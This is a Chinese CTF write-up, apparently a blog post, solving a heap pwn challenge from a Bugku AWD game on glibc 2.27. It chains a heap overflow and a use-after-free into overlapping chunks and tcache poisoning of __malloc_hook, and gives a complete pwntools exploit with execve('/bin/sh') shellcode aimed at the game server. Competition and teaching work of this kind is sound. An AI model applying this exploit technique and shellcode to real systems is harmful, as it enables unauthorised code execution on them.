记一次bugku awd的pwn解

今天晚上6点30闲得没事,随便逛逛的时候看到了bugku awd有战队开了房间,想着没什么事就报名玩了玩,不过pwn题还是很有意思的。
在这里插入图片描述
连上去发现是个堆题。。。再一看加固时间20分钟。。。。(瞬间无语住
直接在网上找题,结果发现网上都是2.23下的,这里笔者拿到的是2.27下的(再次瞬间无语住
没办法只好自己写exp了。拿到pwn附件就是一顿瞎分析,结果发现了upadte有堆溢出
在这里插入图片描述
再随便翻了翻发现还有一个uaf。
在这里插入图片描述
只不过没有show函数而已。

再看了一下保护
在这里插入图片描述
脑子里瞬间想好了攻击思路,申请到malloc_hook,改malloc_hook为shellcode的地址就行
申请到malloc_hook其实可以借助unstortedbin来,因为malloc_hook和unstortedbin差一个字节。
首先申请0x10 0x410 0x60 0x30 0x30
接着释放0x60,通过0x10改0x410为0x491,也就是将0x410和0x60包住。实现overlapping
释放这0x491再申请0x410这样的话0x60的fd就是unstortedbin了
改最低的一个字节到malloc_hook
0x30的作用就体现出来了,将0x30释放掉,edit改0x30的fd为0x601020
在这里插入图片描述
将shellcode放入这里,然后将malloc_hook改为这个地址,最后malloc的时候就会触发shellcode。
这个时候最玄的事情来了,本地打不通,远程可以打通。。。。。。
笔者没想太多,直接上脚本刷分去了(因为发现其它队伍都不会XD
这里笔者只贴一个普通打远程的脚本

from pwn import *

context(arch='amd64', os='linux', log_level='debug')

file_name = './z1r0'

debug = 1
if debug:
    r = remote('192-168-1-50.pvp986.bugku.cn', 9999)
else:
    r = process(file_name)

elf = ELF(file_name)

def dbg():
    gdb.attach(r)

menu = 'Your choice :'

def add(size, data):
    r.sendlineafter(menu, '1')
    r.sendlineafter('Size: ', str(size))
    r.sendafter('Data: ', data)

def delete(index):
    r.sendlineafter(menu, '2')
    r.sendlineafter('Index: ', str(index))

def edit(index, size, data):
    r.sendlineafter(menu, '3')
    r.sendlineafter('Index: ', str(index))
    r.sendlineafter('Size: ', str(size))
    r.sendafter('Data: ', data)

add(0x10, 'bbb')    #0
add(0x410, 'aaa')   #1
add(0x60, 'aaaa')   #2
add(0x30, 'aaaa')   #3
add(0x30, 'aaaa') #4

delete(2)

p1 = p64(0) * 3 + p64(0x491)
edit(0, len(p1), p1)

delete(1)

add(0x410, 'aaaa')

p2 = b'a' * 0x410 + p64(0) + p64(0x71) + b'\x30'
edit(1, len(p2), p2)

add(0x60, 'aaaa')

delete(4)

p3 = p64(0x601020)

edit(4, len(p3), p3)

add(0x30, 'aaaa')
#shellcode = "\x48\x31\xc0\x48\xc7\xc0\x3b\x00\x00\x00\x48\x31\xff\x48\xc7\xc7\x48\x10\x60\x00\x48\x31\xf6\x48\x31\xd2\x0f\x05"

shellcode = asm('''
xor rsi,rsi
mul esi
push rax
mov rbx,0x68732f2f6e69622f
push rbx
push rsp
pop rdi
mov al, 59
syscall
''')

add(0x30, shellcode)

add(0x60, p64(0x601020))

r.recvuntil('Wellcome To the Heap World\n')
r.send('1'.ljust(8, '\x00'))
 
r.send(str(0xf0).ljust(8, '\x00'))

r.interactive()
  • 2
    点赞
  • 7
    收藏
    觉得还不错? 一键收藏
  • 打赏
    打赏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

z1r0.

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值